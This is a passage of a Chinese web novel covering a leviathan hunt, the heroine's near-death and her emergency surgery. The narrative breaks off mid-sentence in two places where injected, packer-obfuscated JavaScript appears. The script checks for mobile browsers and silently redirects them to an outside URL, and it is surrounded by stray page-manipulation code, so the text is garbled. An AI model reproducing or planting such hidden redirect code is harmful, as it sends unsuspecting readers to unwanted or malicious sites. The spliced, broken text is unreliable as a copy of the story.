毕竟利维坦不像小型异种,想要制胜,就必须等它出现失压反应,再趁机破坏其咽喉处的感震器官。
当然,以上只是理想战术。
事实是,想成功清剿一只利维坦,必须贴上去近战。任何火力在那身鳞片面前都是徒劳,就连脉冲炮塔也只能给猎人们打打辅助。
万屹和帕尔默赶到码头时,万里刚把指挥甲套在身上。肩胛两侧的黄绿灯光交替闪烁,方便猎人随时确认指挥官的位置。
这件指挥甲本该是万屹的。
但万里从来不让他上船,理由是:瘸腿指挥官待在岸上,比待在水里有用。
平时的任务能替就替,所以这次也没什么不同。只是看着远处的巨兽,万屹始终平静不下来。
除了感知到万里的深渊特征以外,他想不出别的理由,能让一只利维坦离开深渊带,闯入近海。
这等同于自杀,可它还是来了,这让万屹无端生出一股惧怕。
猎人队伍很快划分好,五人一组,七条快艇。
万里跳上一号艇,粗略一扫,很好,四个熟人。
嫂叔组的柯尔涅娃与鲍尔自然不必多说,一个检查装备,一个调试引擎,见她来都笑着点点头。
伊芙琳拿着对讲机跟各艇敲定战术,艇尾的吉安娜还是老样子,一头红发被海风吹得张牙舞爪。看到她虽没说什么,但脸上写满了“真晦气”。
此刻,那头利维坦距离沉放码头只剩四海里。
离岸越近,嘶鸣就越刺耳,持续的低频震得人胸口发闷。七条快艇始终没有动静,还在等。
直到距离缩短至两海里。
利维坦终于出现失压反应,它的组织崩解,巨量的血液沿着鳞片下淌,在身后拖出一道暗红尾迹。
即便如此,这只巨兽也从未停下。
万屹放下望远镜,一声令下——
“行动!”
鲍尔应声推下引擎推杆,一号艇劈开海面,率先向嘶鸣的巨兽奔袭而去。
10. 利维坦歼殛战(一)
两海里的距离,快艇只用了一分半就开到目标附近。
七艘快艇分散于两侧,避开了巨兽的口鼻朝向,白色的浪尾拉出混乱的线。
利维坦就在前方。
露出水面的部分比灯塔还高,当它转动身体,海面剧烈翻涌,靠得最近的一号艇即刻倾斜,鲍尔骂了一句,猛打方向。
“位置!”伊芙琳朝对讲机吼。
“二号,左翼就位!”
“三号,左翼就位!”
“四号五号,右翼展开中!”
“六号七号,后方游弋支援!”
“一号收到!”伊芙琳放下对讲机,转头看向队员,“我们从腹侧切入,鲍尔负责吸引,柯尔涅娃和我负责安放,万里和吉安娜开路。”
吉安娜照例一声冷哼,将那两把名为“戮山”的方头双锤牢牢握在手中。
“别拖后腿!小鬼!”
才说完人就跳了下去。
吉安娜踩着巨兽摆动的身体向脊部一路疾奔,冲到附近,抡起戮山就对着脊线处的鳞甲狠狠凿下!
万里深吸口气,默默握紧开罐器。
一号艇贴着利维坦的腹侧掠过,距离近得她能看到缝隙中渗出的血。失压反应让它腹部的鳞甲开始松动,有几片翘起边缘,露出底下被血染红的软肉。
“准备!”鲍尔大喊。
万里踩上船舷,当快艇再次掠过时,她借着惯性纵身一跃,开罐器的刀尖狠狠嵌进那片软肉,整个人挂在利维坦身上。
巨兽鳞片滚烫,像从锅炉里捞出来的,隔着作战手套,万里仍能感觉到那股热度直往手心钻。
她以开罐器做镐,自下往上撬开松动的鳞片,露出一块可以安放武器的缝隙。
“可以了!”她朝下面喊了一声。
柯尔涅娃跟上来,掏出一个圆柱形的震频弹。按下启动钮,她把弹体深深埋进缝隙中。
“一号就位,倒计时九十秒!”
另一侧,二、三号艇的猎人们也在攀爬。只是利维坦的身体过于巨大,十几号人散在它身上,像一群蚂蚁爬上靴子。
利维坦不太聪明,却也不迟钝。察觉到身上的小虫子越来越多,它愤怒嘶鸣,猛地翻转身体。
万里被甩得横了出去,双腿悬空,整个人几乎贴着海面。她双手死死攥住开罐器,刀柄勒进掌心,这才没被当场掀进海里。
“抓稳!”
柯尔涅娃一手扣住鳞片边缘,另一只手抓住万里手腕,后者借力回荡,重新踩上巨兽身体。
第一枚震频弹引爆了。
闷响从利维坦体内传出,像钟声,层层荡开。
紧接着第二枚、第三枚、第四枚……被猎人安放的震频弹次第引爆,虽然引爆点不在咽喉,但这股脉冲会沿着神经束传导。
果然,利维坦疯了一样翻滚起来。
“全员入水!”伊芙琳的声音传来。
万里拔出开罐器,迅速滑入海中。
水下一片混沌,利维坦搅起的水流把她推出又拽回,万里翻了两圈才勉强稳住身形,检测到水压,供氧面罩自动弹出。
见猎人尽数下潜,岸边的万屹按下发射按钮。
六座脉冲炮塔同时开火。
追踪弹的尾焰划过天空,六条弧线像被上帝的手指引,齐齐汇聚到利维坦的咽喉处。
命中的瞬间,巨兽哀嚎一声,颈鳞碎片飞溅,落在海面上噼啪地响。
伊芙琳刚被鲍尔捞上艇,一抬眼就发现不对劲。
这头利维坦挨了六炮,按说应该转向近岸方向攻击,或者往深水区撤退。可它却低下头,朝着一片什么都没有的水域探过去。
伊芙琳仔细一看,却看到那片水下隐约有黄绿色光点在闪。
是指挥甲的信号灯。
“鲍尔!”她猛地拍了一下船舷,“十点钟方向,快!万里在那边!”
反观万里。
她离利维坦最近,被追踪弹爆炸的冲击波影响到,耳膜嗡嗡的响,什么都听不到。
等耳鸣散去,万里再抬头,却见巨兽的脑袋正朝她所在的方向下沉。
只是它被追踪弹命中咽喉,再加上震频弹的脉冲持续干扰,利维坦的动作变得迟缓笨拙,正好给了鲍尔机会。
一号艇斜斜冲过来,赶在利维坦下嘴前,伊芙琳和柯尔涅娃一左一右把万里拽出水面。
“四号艇损毁,五人落水,七号艇正在救援!”对讲机里噼里啪啦地喊。
“二号艇报告,右翼第二轮安放完成!”
“三号艇弹药不足,只剩两枚!”
这片海域几乎乱成一锅粥,但万里注意到一件事。
这只利维坦仍在翻滚吼叫,尾巴不停横扫,可每一次它调转方向后,头部永远对准一号艇的位置。
哪怕二号艇的猎人,就在它眼皮子底下成功安装了两枚震频弹,可它依旧不管不顾,挨了两下后,晃晃头,继续追逐一号艇。
“伊芙琳……”万里声音发紧。
“我看到了。”伊芙琳的脸色也不太好看,她拿起对讲机。
“各艇注意,暂停攻击,后撤两百米。一号艇原地不动待命。”
“什么?”二号艇的指挥喊了回来,“你疯了!”
“立刻执行!”
六条快艇先后撤离,最后只剩一号艇孤零零泊在利维坦身前。
巨兽的嘶鸣减弱,从疯狂的嘶吼变为低频震颤,它调转方向,对准一号艇缓缓推进,不像攻击,好像只是锁定。
“操!”鲍尔骂了句。
“它的目标是万里。”伊芙琳把对讲机按到司令部的频道,“从头到尾只有万里!”
几秒后,万屹的声音从对讲机中传出:“确认了吗?”
“确认!”
又是一阵沉默。
“利用这一点。”万屹最终说,“把它引到浅水区。”
“收到!”鲍尔没有犹豫,引擎推杆拉到底,调转艇身,朝着近岸水域全速前进。
利维坦果然不要命地追了上来。
每往浅水区推进一百米,它体内的失压反应就严重一分,数不清的鳞片从巨兽腹侧崩落,砸进海里。
“各艇重新合围!”伊芙琳下令,“从后方贴近,集中攻击咽喉!”
五条快艇从两翼迅速包抄,利维坦却完全不去理会,注意力全钉在万里身上。
二、三号艇的猎人们几乎是毫无阻碍地爬上它的颈部,把剩余的震频弹全部塞进裂膜区域。
“安放完毕!迅速撤离!”
这次的爆炸不再像钟声。
利维坦咽喉处的鳞甲本就因水压在崩解,震频弹的脉冲直接作用在裸露的感震器官上,万里看到巨兽的喉咙猛地鼓起,从内部顶开。
正如昨晚,涅蓝把胳膊塞进食道时那样——撑裂,再爆开。
利维坦发出了在场猎人从没听过的叫声。
不再是低频嘶鸣,好像谁的叹息被无限放大,笼罩了整片海域。
巨兽身体猛地痉挛,然
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483282|201872||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
后毫无预兆地侧倾。
巨大的脊背向左摔下,激起的浪头把一号艇整个掀起来。船身腾空的瞬间,惯性把所有人都抛了出去,万里也不例外。
腾空的那一刻,万里必须承认她怕了。
因为抬头就是利维坦的尾巴。
尾刺密密麻麻地排列,每一根都有手臂粗细。它就这么从正上方盖下来,万里预感到,自己大概会像水果忍者里的西瓜那样,被这东西劈成几瓣。
紧要关头,两把方头锤从侧面飞来,先后砸上那条尾巴。力道不重但角度刁钻,刚好把下落的轨迹砸偏半米。
于是万里躲过一劫,尾刺擦着她的胳膊划过,作战服破了道口子,海水瞬间涌入,拖着她不断下沉。
她在水下睁开眼。
利维坦的身躯在她面前缓缓沉落,那些崩解的、巨大的碎鳞,像不会融化的青灰色雪片,纷纷扬扬飘在水中,有几片从她的面前滑过去,带着些金色微光。
它的眼睛就在不远处,那只曾被她扎伤过的左眼,瞳孔浑浊,但里面清楚地映出万里的身影。
利维坦仍在看她。
直到那颗无机质的瞳仁渐渐失去光泽,从灰色变成死寂的黑。
看着巨兽彻底闭上眼,万里想刚才那一尾,大概是它最后的力气了。
再一次被捞上艇,她趴在甲板上歇气。
利维坦的尸体一动不动,它的血把周围的海水染成了和沉放带一样的锈红,连空气都是腥咸的。
吉安娜站在艇尾,手里空空荡荡,一头红发狼狈地贴在脸上,她转头跟万里对上视线。
“谢——”
“你这废物!”红发女猎人毫不留情地打断,“把戮山给老娘找回来!”
万里咽回后半个谢字。
她就知道!吉安娜一碰到正常的情感交流就过敏,此人上辈子大概是块石头。
“各艇报损!”伊芙琳的声音明显轻松了些。
“二号无伤亡,弹药耗尽。”
“三号一人手臂脱臼,弹药耗尽。”
“四号报废,人员由六号接收,两人轻伤。”
“五号无伤亡。”
“六、七号各有轻伤,弹药无剩余。”
突然有人跳进水中。
是五号艇上一个光头猎人,他一个猛子扎下去,从利维坦眼膜上撬走另外一片眼鳞。
最后拿着那片青灰色的鳞片破水而出,高举过头。
“老秃!”五号艇上有人朝他吹了声口哨,“还得是你脑子快啊!”
光头猎人咧嘴笑了,刚要回话,一根尾刺猛地穿过他的胸膛。
没有任何预兆。
从后背进去,前胸出来,带出一朵暗红色的花。
然后尾刺缓缓抬高。
光头猎人被举出水面,他挂在上面,双腿悬空,手里还攥着那片眼鳞。
尾刺锋利无比,只是一个抬起,老秃的身体就靠着体重,顺利完成了自我切割。
裂口从胸腹往上,一路豁开。划过锁骨,削到下巴,光头猎人像一只被撕烂的包装袋,上半身一分为二。
内脏不停从豁口掉落,连同那片眼鳞一起,噼里啪啦砸回海里。
天光突然暗了,黑云压境,混着血的海水逆着水流回卷,无风起浪,暴雨倾盆而下。
“已经死去”的利维坦缓缓上浮,身上的鳞片全部脱落,露出底下一层所有人都没见过的生物发光组织。
它的身子在暴雨中骤然亮起,像条燃烧的河。
11. 利维坦歼殛战(二)
“后撤!”伊芙琳大喊。
这头利维坦比之前更大了。
崩解的组织正在疯狂重组,脱落的鳞甲被新的肉鳞取代,质地柔软,却比之前看起来更锋利。
海啸一样的巨浪以利维坦为中心,向四周扩散。
鲍尔死死抱住舵杆才没翻,三号艇就没这么幸运了。船体被巨大的尾刺扎得全是窟窿,当场一死一伤。
猎人们意识到,这场战斗已经不可能以常规方式结束,于是四散逃命,引擎拉到底,谁都没回头。
震频弹早就用光了,不跑是孙子。
伊芙琳的对讲机里一片混乱。
“炮塔!用炮塔!”
“不!距离太近会误伤!”
“有人被卷到水底了!”
“五号艇引擎进水,正在熄火!”
“这到底是什么鬼东西!”
万屹就站在沉放码头,眼睁睁看着这头巨兽带着一身烈焰复生。每一次呼吸,那些焰火就亮一点,就连海水都无法将其扑灭。
“别愣着!申请分署支援!”帕尔默的喊声从雨幕里传来。
万屹举起终端,屏幕上“信号丢失”四个字正冷冰冰地亮着。
暴雨吞掉了渔村的所有信号,大概除了等死,他也想不到别的。
“我来!”帕尔默夺过终端,朝着家的方向狂奔。
利维坦这时彻底浮出水面,那两片碎裂的眼膜以极速愈合,直到覆盖整颗眼球。
它没发动攻击,而是用那双新的眼睛盯着万里,安静从容。
近岸水域乱成一团,岸上也不遑多让。
西部高台的避险区,渔民们挤在棚里,隔着雨幕远远看这场仗。
先前猎人们配合漂亮,尤其利维坦侧翻时,人群甚至爆出欢呼。几个老渔民开始打赌哪只小队的贡献分最高,讨论之热烈,差点当场开盘。
直到那团红得刺眼的火光从水中升起,棚子里的热闹戛然而止。
“那是什么?”
“它没死?!”
“它在着火!”
帕尔默刚冲到信号塔附近,棚子里就有渔民冲他大喊:“登记员!司令怎么说的!”
“信号!”帕尔默根本听不清那人喊了什么,只举着终端,“我需要信号!”
广播站的门开了,莉诺探出身子:“这边也没信号!雨太大了,基站功率不够!”
“求援信息必须发出去!”
莉诺看了眼信号塔,又看看广播站那三米多高屋顶,一咬牙——
“帮我上去!”
帕尔默点点头,冲着棚子招手,很快有四五个渔民冒雨跑来。
众人搭成人梯,莉诺踩着他们的肩膀手臂,扣着铁皮屋檐上爬,硬生生拱了上去。
“小心!”多琳娜在底下喊。
屋顶的铁皮湿滑,莉诺跪在上面,终端举过头顶,尽可能地往高处抬。
风急雨骤,她甚至睁不开眼。
屏幕上的信号跳了下,半格。随即又跳了一下,一格。
“再高一点!”帕尔默大喊。
莉诺哆嗦着腿站起,尽量稳住身体,她将终端举高到极限,整个人在风里摇晃不停。
信号最终来到一格半,发送按钮终于亮起。
[正在发送中……通信失败。]
莉诺再点。
[正在发送中……通信失败。]
她的胳膊酸得发抖,雨水沿着袖口灌进去,冰得身子直打哆嗦。
[正在发送中……通信失败。]
[正在发送中……通信成功。]
“行了!”
近岸水域内的利维坦始终没有动作,它不时望向云层,似乎在等待什么。
闪电骤至。
亮光撕开黑云,伴随着沉闷的雷声,巨兽身上的烈焰褪去,肉鳞被淬炼得和原先一样,依旧是铁青灰色,但边缘不再泛金,变成了紫蓝色的电光。
这头利维坦看上去不再像异种,更像一件生物兵器。
巨大头颅仰起,它对云层发出尖啸。
沉放码头上只有寥寥几名猎人,剩下的大多都去训练场补充武器弹药了,还没回来。
此时利维坦距离沉放码头已经不足一海里。
失压反应也消失了,浅水区对它不再构成任何威胁,就好像那场大火顺手修好了这个弱点。
震频弹对它没用了,就算还有弹药,也没用了。
万里忽然很平静。
她拆开指挥甲左肋处的拉链,拽出里面的脉冲核心。
这是通讯模块的备用电源,但如果强行将其短路,那它的爆炸当量远超追踪弹。
当然,前提是能塞进利维坦的喉咙。
万里看着巨兽的咽喉,那里的创面还没完全愈合。她不知道这头利维坦新的鳞甲有多硬,但总归得试试。
胜率几乎没有,但绝不是零。
“你干什么!”伊芙琳看见她的动作,怒吼出声,“回来!”
万里没回头,翻身跳上旁边无人的二号艇,拉下引擎推杆,全速朝着远海方向驶去。
利维坦立刻转向跟了上来。
既然它的目标是她,那么只有她能够引诱利维坦远离近岸,哪怕只是拖到分署的支援赶到,她也必须这么做。
《猎人守则》第三十七条:当编队遭遇超出应对能力的威胁时,指挥官有权以单兵行动引开敌对目标,为编队争取撤退时间。
这绝不是送死,万里想。
水下的世界被利维坦鳞片的电光照亮。
它下潜于水面,巨大的幽蓝影子在快艇下游动。
如果有眼睛从天上俯瞰,或许会看到海怪和小艇之间迅速接近的惊悚画面。像猎物与猎人的角逐,只不过身份相反。
万里明明是猎人,可随着距离越来越近,她生出了只有猎物才会有的恐惧。
油表的指针疯狂降低,松开方向舵后,船身惯性还在,依旧朝着远海开。
氧气余量还有二十分钟,万里望着作战服手臂上的口子,干脆撕下那只袖子缠到腋下,避免海水灌入影响行动。
做完这些,她几乎能看到那条沉放带了。
下意识摸上胸口项链,她闭上眼:
妈妈,如果你能看到,就保佑我运气好一点吧……一点就够了。
颤抖着吐出口气,万里纵身跃入海中。
好在这头利维坦只是进化了外表,脑子还是那个脑子。
它丝毫没有察觉“猎物”已经不在快艇上了,依旧忠实地追逐,直到尾部传来刺痛,才发现目标居然在自己身上。
万里攥着开罐器,刀尖卡进新鳞之间,虽然锋利,却没有老鳞片那么厚的角质层。
开罐器很顺利地没入缝隙,直到刀柄。
利维坦吃痛,猛地加速。
万里顶着越来越强的水压艰难上爬,供氧面罩被压得紧紧贴合在脸上,耳边只剩自己粗重的呼吸。
爬到后脖颈部位时,这只利维坦终于停下,万里以为能喘口气,结果下一秒这条畜生翻滚起来。
利维坦慌了,后脖颈是父神的专属位置,若是让其他生物在这里留下气息,被父神嗅到……
它想了下自己被父神遗弃的场面,于是更加愤怒,只是它越摇摆,开罐器就捅得越深。
利维坦第一次厌弃自己的鳞片。
竟这么难缠……当初就不该长那么结实!
万里被海水拍得睁不开眼,只凭直觉往上。摸到鳞片边缘就扣住,开罐器再往底下一刺,前进,拔出来再刺。
如此反复,终于爬到头顶。
利维坦几乎是同时竖起脖颈,万里没有防备,被甩到巨兽的鼻尖上。
此刻她距离海面至少有两个灯塔的距离,在这个高度,风变成刀子,雨变成子弹,不断打在万里身上。
巨兽的右眼就在她脚边,硕大幽蓝的眼球里面映着黑云、闪电,还有万里的影子。
她降低重心,蹲在那只眼睛旁边。
“我不知道你为什么找我!”
声音被风撕碎,但她没停,反正也不是说给别人听的:“你有病啊?还是你就这么小气?一片眼鳞记了一年!”
眼珠子略微转动了下,利维坦觉得它好像听懂了。
“我呢……”万里拍了拍指挥甲,“等下还得把这个塞你嘴里,如果可以,你就配合一下吧!”
配合?
利维坦感到奇怪,按理说它不该听懂人类的语言,来不及细琢磨,又是一句。
“至于那片眼鳞,我很抱歉——才怪!”
万里抠出脉冲核心,朝着左侧的裂膜纵身跃下,顺着缝隙滑入利维坦的口腔。
到处都是粘液。
温热,腥臭,淡黄色的粘液糊满了面罩。
没等站稳,利维坦的舌头开始翻卷,试图把万里推向嗓子眼。
顺着这股力道,她被带到喉咙附近,开罐器往肉里一钉,勉强稳住身形。
透过巨大的食道和气管,她看到先前震频弹爆炸所留下的创口还在。
不仅如此,感震器官上的神经束也裸露在外,断口处还渗着血。
如果把脉冲核心塞进那里,短路引爆,应该能从内部炸穿……
至于自己。
万里乐观的想,到时爆炸的冲击波也许会将她推出去,供氧模块还剩七分钟,如果运气好,七分钟也够浮上水面了。
只是计划过于理想,漏洞之多,她把自己逗笑了。
但没有更好的办法了。
两权相害取其轻,一条命换一个村子,怎么算都不亏吧。尤其是她此刻竟生出一股滑铲老虎的笃信,觉得自己没准真能活。
举起脉冲核心,这才记起手腕上还有一只小怪物。
抱着能走一个是一个的想法,万里将拟态手链摘了下来。这次,小怪物没有挣扎,它甚至没有任何反应。
找了下角度,她一把将涅蓝扔了出去,小小的手链穿过利维坦的尖牙,消失在雨幕中。
万里深吸口气,掐断脉冲核心最上方的红色导线,倒计时开始。
一股细微的高频震荡从这台小小的核心内部传出,万里被震得手臂发麻。
翻卷的巨舌一僵,利维坦感知到了威胁。它认为如果无法阻止这个人类,就会有非常、非常坏的事情发生!
9,8,7……
随着倒计时,那股高频震荡越来越尖锐,它再也无法忍受。
利维坦整个口腔猛烈收缩,哪怕开罐器将他的口腔划得稀烂,只要能吐出去……快动啊死嘴!
巨兽的舌头上颚同时发力,硬是把万里连同脉冲核心一同呸了出去。
像吐出一块硌牙的骨头。
万里飞在空中,脉冲核心还在她手里。
4,3,2……
她用尽力气,将脉冲核心朝巨兽的颈部砸去——
“轰!!”
白光一闪。
万里什么都看不见了。
她的世界被纯白填满,几乎要烧穿她的视网膜。冲击波瞬间将她击飞,像一片被风卷起的落叶,整个人旋转着朝更远的海面坠落。
利维坦的颈部出现一个窟窿,边缘焦黑,血肉外翻。附近的颈鳞碎成粉,混着血液,噼里啪啦落进水中。
入水的瞬间,巨大的冲击力将万里的知觉打散,作战服破烂得不成样子,剧烈的烧灼感不断从前胸传来。
脖子上的项链滑脱,莉诺送的友谊手链也被烧烂了,从手腕上散开。
这两样东西在万里面前缓缓下坠,它们转着圈,越沉越深。
她下意识伸手去够,结果只挥出两道血雾。
手臂的末端不再是手掌,而是两截焦黑的碎烂残肢,它们皮肉翻卷,森白的碎骨茬子在漆黑的海里十分明显。
万里甚至有闲心琢磨:手都这样,那脸大概更没法看。
于是只好目送它们下沉,直到彻底消失在脚底。
这就是妈妈曾看到的景象吗。
海底安安静静,就是有点黑,暴雨和嘶鸣都被隔在头顶。有几缕阳光不知从哪片云层照到水面,金色光柱在黑蓝里慢慢散开。
其实不难看。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483283|201872||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>想到妈妈,万里平静地接受死亡到来,不再感到恐惧。
就在这时,海底的涅蓝睁开眼。
它只记得喝下那罐牛奶后就失去了知觉……万里呢?
「万里。」
没有回应。
「万里。」
没有回应。
「万里。」
意识里出现微弱涟漪,又归于平静。
捕捉到讯号,涅蓝恢复团子模样,飞速朝那个方向游去。
可到了附近又不知该怎么办。
这个人类的体温流失,心跳减弱,意识讯号极其微弱,仿佛随时会断。
「鸡蛋卷。」
「涅蓝。」
「曲奇。」
「万里。」
「万里。」
「万里。」
它用学到的所有词汇呼唤她。
其实万里听到了,很想回应这个不知死活的怂包,让它快跑,但身体不听使唤。
涅蓝原地转悠几秒,忽然伸出触手探入裸露在外的骨茬,体内的光点一颗颗涌进人类的身体。
光点流过失温的血肉,万里皮肤下的血管微弱地亮起。
水面之上的利维坦感觉到了这股脉搏。
先前它还不确定,偷鳞贼的身上确实有某种似曾相识的气息,但太淡了,况且它的记性又不好。
但这一刻它确实嗅到了,那就是外神的气息。
身为深潜者头领,这头利维坦认为自己必须要捍卫父神、捍卫旧日支配者们在泰拉星的主权。
况且外神不属于这片海域。不属于泰拉。不管祂以什么形态出现,都必须被驱逐。
立刻驱逐!
深潜者的信仰不容挑衅!
利维坦发出一声嘶吼,朝着涅蓝所在的方向全速前进。
小怪物看了眼万里,确认她暂时不会死掉后,浮出水面迎敌。
两只妙脆角先露出来,金眸盯着那头铁青灰色的利维坦看了会儿。
涅蓝吐了个泡泡。
如果大衮是那位沉睡者的走狗,那么眼前这条浑身放电的蠢蛇就是走狗中的走狗,这对主仆还是一如既往地不安分。
不仅如此,嘴也一样的臭,都是一股死耗子味儿。
沉放码头上。
猎人们把武器库几乎全搬来了,最后一批弹药装配完毕,队伍准备驾艇支援。
远海再度传来嘶鸣,是利维坦的,可紧接着又响起一声——
这道嘶鸣清晰得多,清晰到脚下的码头都在震。
万屹举起望远镜。
那头铁青灰色的利维坦还在,只是它的旁边出现了第二条“利维坦”。
这条“利维坦”的身躯高耸入云,头颅消失在黑云之中,只有颈部以下的身体露在外面。
鳞片透明,体内光点流动,像星河一样缓慢地旋转。对比之下,旁边那头青灰色的利维坦更像一条宝宝蛇。
“暂停行动。”
“司令?”
“她可是你女儿!”柴尔德怒吼。
“暂停行动,”万屹重复了一遍,“不要过去。”
如果说刚才万里的行为是螳臂当车,那么这条宝宝蛇的挑衅就是蚍蜉撼树。
然而这只“蚍蜉”没有退缩,或许是因为第八海岸不养怂人的传统,就连这里的异种都格外犯轴。
万里只觉得自己做了个悠长的梦。
美好,安静,但不记得内容了。再次醒来时,她仰面躺在海上,肢体被炸碎的疼痛还印在脑海,可……
她举起湿漉漉的手掌,此刻它们不仅完整,里面似乎还有微弱的光点在流动。
肺部的窒息感还在,她没忍住咳了一声,碎裂的面罩顿时被血糊满。
就在万里发懵的时候,那头铁青灰色的利维坦对着涅蓝发起袭击。
紫蓝色的电弧沿着它的背脊蜿蜒,只是没前进几百米,就被涅蓝的尾巴缠住身子。
利维坦疯狂挣扎,电弧全劈在涅蓝身上,后者一点反应都没有。尾巴卷着利维坦翻了个面,盯着它咽喉附近的窟窿看了一眼。
涅蓝的头部裂成两半,腔体深处,亮起一颗不起眼的白色光点。
那条利维坦还没反应过来,光点顿时膨胀,照亮了这片海域。
白色的光柱直直地灌进窟窿里。
利维坦像一盏被点亮的灯笼,鳞片迅速融化,混着血和粘液,顺着它的躯体往下流。
「为了拉莱耶!」
这头利维坦在燃烧中发出了最后一声长啸。
涅蓝神色有些复杂。
它无比疑惑,拉莱耶那条沉睡的老狗到底有什么可信奉的?
这帮深潜者图什么呢。图它岁数大?图它放屁响?
不懂。
涅蓝有些厌烦。
白色光柱功率突然拔高。
利维坦的身体从内到外坍塌,骨骼断裂,内脏汽化,最后它变成了一摊冒着热气的烂肉,竟还有些香。
忍住品尝的冲动,涅蓝变回透明团子,两只妙脆角还是一高一低,迅速游回万里身边。
轰鸣声由远及近。
三架深红分署的巡航艇钻出云层,机腹打开,救援吊索垂下,先后滑下几个全副武装的人,他们合力将万里救起。
两分钟后,巡航艇停在陆地,门刚打开,人群呼啦一下围了上来。
随行的军医一把薅下那只血迹斑斑的面罩,掏出笔型手电,掰开万里眼皮。
“瞳孔反射正常!”
军医又低头检查她的四肢,掐掐手指脚趾。
“肢体反应正常!血压偏低,心率偏快,主要是失血和灼伤!”
他拍拍万里的脸。
“这位猎人!能听到吗?能回应吗?说些什么!”
旁边的人越来越多。
有猎人、有渔民、有军医的助手在喊“让一让”、有人在哭、有人在喊“万里”。
这些声音像一锅沸腾的水,咕嘟咕嘟,在万里脑海中搅成一团。
失去意识前,她看到头顶那块巴掌大的天空,晴朗,蔚蓝。
12. 急诊手术室
云都,深红海防总医院。
“病人口鼻见大量粉红色泡沫痰,胸廓完好,双肺湿啰音密布,确认原发性爆震伤!”
“床旁胸片推过来,同时准备插管!”
急诊手术室的灯亮得刺眼。
万里躺在推车上,脸上全是干涸的血痂和焦黑的灼痕,呼吸管从嘴角探进去,胶布甚至粘下了几块烧伤的脸皮。
莉诺红着眼眶,偏过头不忍再看。
监护仪上的数字跳得飞快,血氧饱和度一直往下掉。
接诊医生拿着片子快步穿过走廊,截住了正在换手术服的孙一敏。
“主任。”
他压低声音:“病人是爆震肺,双肺弥漫性出血,右肺中叶已经有实变征象,按常规方案,是该上大剂量的地塞米松,但是……”
他咽了口唾沫。
“但她是斯塔列娃家的孩子!她跟那群皮糙肉厚的猎人不一样,凝血指标本身就偏弱,我建议您还是先上小剂量的——”
“啊,斯塔列娃……”孙一敏漫不经心地点点头,动作没停,对着走廊尽头正在配药的护士高喊:
“艾达!地塞米松80mg,静脉推注!”
“孙主任!”接诊医生急了。
艾达端着药盘,探出头看看孙一敏,再看看拜伦,默默缩回去继续配药。
“你听好,”孙一敏带上口罩,仅剩一双眼露在外面,“病人是谁,跟我的治疗方案没有任何关系。”
她将片子一把拍在拜伦胸口:“滚回你的重症监护室去,胸外科还轮不到你来做主。”
“孙主任!”走廊远处跑来一个白大褂,气喘吁吁,“副署长要见您!”
被打断两次节奏的孙一敏相当不悦,她一把扯下口罩攥到手里。
“她最好是有要紧事!”说完大步离开。
艾达从药房出来,端着药盘往急诊手术室走,中途被拜伦拦下——
“去换成30mg的。”
艾达停下来,定定看着他。
年轻的护士深吸一口气,然后露出一个隐忍的、核善的微笑。
“拜伦医生,非常抱歉。这份医嘱由孙一敏主任亲自下达,在她本人撤销或修改之前,我不接受任何变更指令。麻烦让一让,谢谢!”
拜伦:“……”
艾达端着药盘从他胳膊底下钻过去,步伐快得好像有鬼在追。
另一头。
孙一敏推门进去时,薇拉正站在窗边,军装笔挺,双手背在身后。
“孙主任,请坐。”
“不了。”孙一敏站在门口没动,对着老人的背影行了个军礼,“副署长有什么指示,请讲。”
薇拉转过身,开门见山。
“等下那台手术,无论你看到什么,不做记录,不拍影像,不上报。”
这不是废话么!孙一敏有些无语,可她立马又想到什么,表情略微变化。
“作为医生,我当然会遵守职业道德,但前提是不违反联邦的相关规定。还有,我不太明白您的意思……什么叫‘无论看到什么’?”
薇拉点开一段视频,递了过去。
镜头是俯拍角度,画面经过数倍放大,几乎糊成马赛克,但主体还算清晰。
一只连接着云层与海水的巨兽正极速缩小,几秒之内变成一个拳头大的东西,随即朝着漂浮的人影游去。
孙一敏眨眨眼。
她甚至怀疑这位副署长是不是在逗她。
这是从哪儿截了这么一段五毛特效来唬人?十块钱一张的盗版碟都比这个清楚吧?
“如果这是真的……”一向雷厉风行的孙一敏罕见地卡壳了,斟酌许久,决定把这块烫手山芋丢出去。
“那就不应该由我院接收。这,这疑似异种接触的病例,必须立刻转到联邦第一医院,再由生物隔离科介入处置——”
“孙主任。”薇拉打断了她,“你可以换个角度想这件事。”
老人收回终端,嘴角上翘。
那个弧度换在任何一位老太太脸上都称得上和蔼,但出现在这位“深红铁娘子”的脸上,只会让孙一敏脖颈发凉。
“你应该看过伤情报告了,脉冲核心的爆炸当量,又是那个距离……可这个孩子不仅活了下来,还肢体完整,脏器也基本保全。”
“孙主任,你说这是什么?”
能是什么?孙一敏心想,概率学上的幸存者偏差呗,总不能是特地来吹嘘自家孩子身板结实的吧?
“这是医学奇迹。”薇拉替她补上。
“是海防总院急救团队的救治功劳,是你孙一敏主刀的胸外科手术创造的医疗纪录,也是明年联邦军事医疗贡献奖的入围资格。”
“是……是吗?”
“当然是了。”薇拉看着她,像提携一个能力出色的晚辈那样耐心,“到时我会亲自在议会提名,还有,你们医院的专项科研经费,我也可以帮忙争取提高30%。”
孙一敏自认不是一个能被荣华富贵所腐蚀的女人。
名号都是其次,但没办法——
海防总院实在太穷了。
